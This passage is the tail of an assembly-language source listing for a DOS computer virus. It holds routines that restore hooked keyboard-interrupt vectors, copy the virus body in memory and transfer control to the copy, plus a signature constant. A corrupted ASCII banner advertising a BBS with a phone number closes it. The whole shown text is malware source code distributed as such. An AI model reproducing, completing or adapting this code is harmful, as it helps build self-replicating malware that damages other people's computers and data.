|
|||
|
AND SWTCHB+100H,4 ; Set off all switches but three
|
|||
|
OR SWTCHB+100H,88H ; Set on switches four and eight
|
|||
|
MOV RSTCNT+100H,0 ; Set restore count off
|
|||
|
XOR AX,AX ; \ Address zero
|
|||
|
MOV DS,AX ; /
|
|||
|
ASSUME DS:BOOT
|
|||
|
MOV AX,I09_OF+100H ; Get old Int 9 offset
|
|||
|
MOV BW0024,AX ; Re-install Int 9 offset
|
|||
|
MOV AX,I09_SG+100H ; Get old Int 9 segment
|
|||
|
MOV BW0026,AX ; Re-install Int 9 segment
|
|||
|
POP CX
|
|||
|
POP DI
|
|||
|
POP ES
|
|||
|
BP1150: POP DS
|
|||
|
POP SI
|
|||
|
POP BX
|
|||
|
RET
|
|||
|
|
|||
|
; Copy virus and transfer control
|
|||
|
|
|||
|
BP1160: CLD
|
|||
|
POP AX ; Recover return address
|
|||
|
SUB AX,SI ; Subtract source offset
|
|||
|
ADD AX,DI ; Add target offset
|
|||
|
PUSH ES ; Push new segment
|
|||
|
PUSH AX ; Push new return address
|
|||
|
REPZ MOVSB ; Copy virus
|
|||
|
RETF ; Return to copy
|
|||
|
|
|||
|
DB 090H
|
|||
|
SIGNAT DW 0E850H
|
|||
|
DB 0E2H, 003H, 08BH
|
|||
|
|
|||
|
ENDADR EQU $
|
|||
|
|
|||
|
CODE ENDS
|
|||
|
|
|||
|
END
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|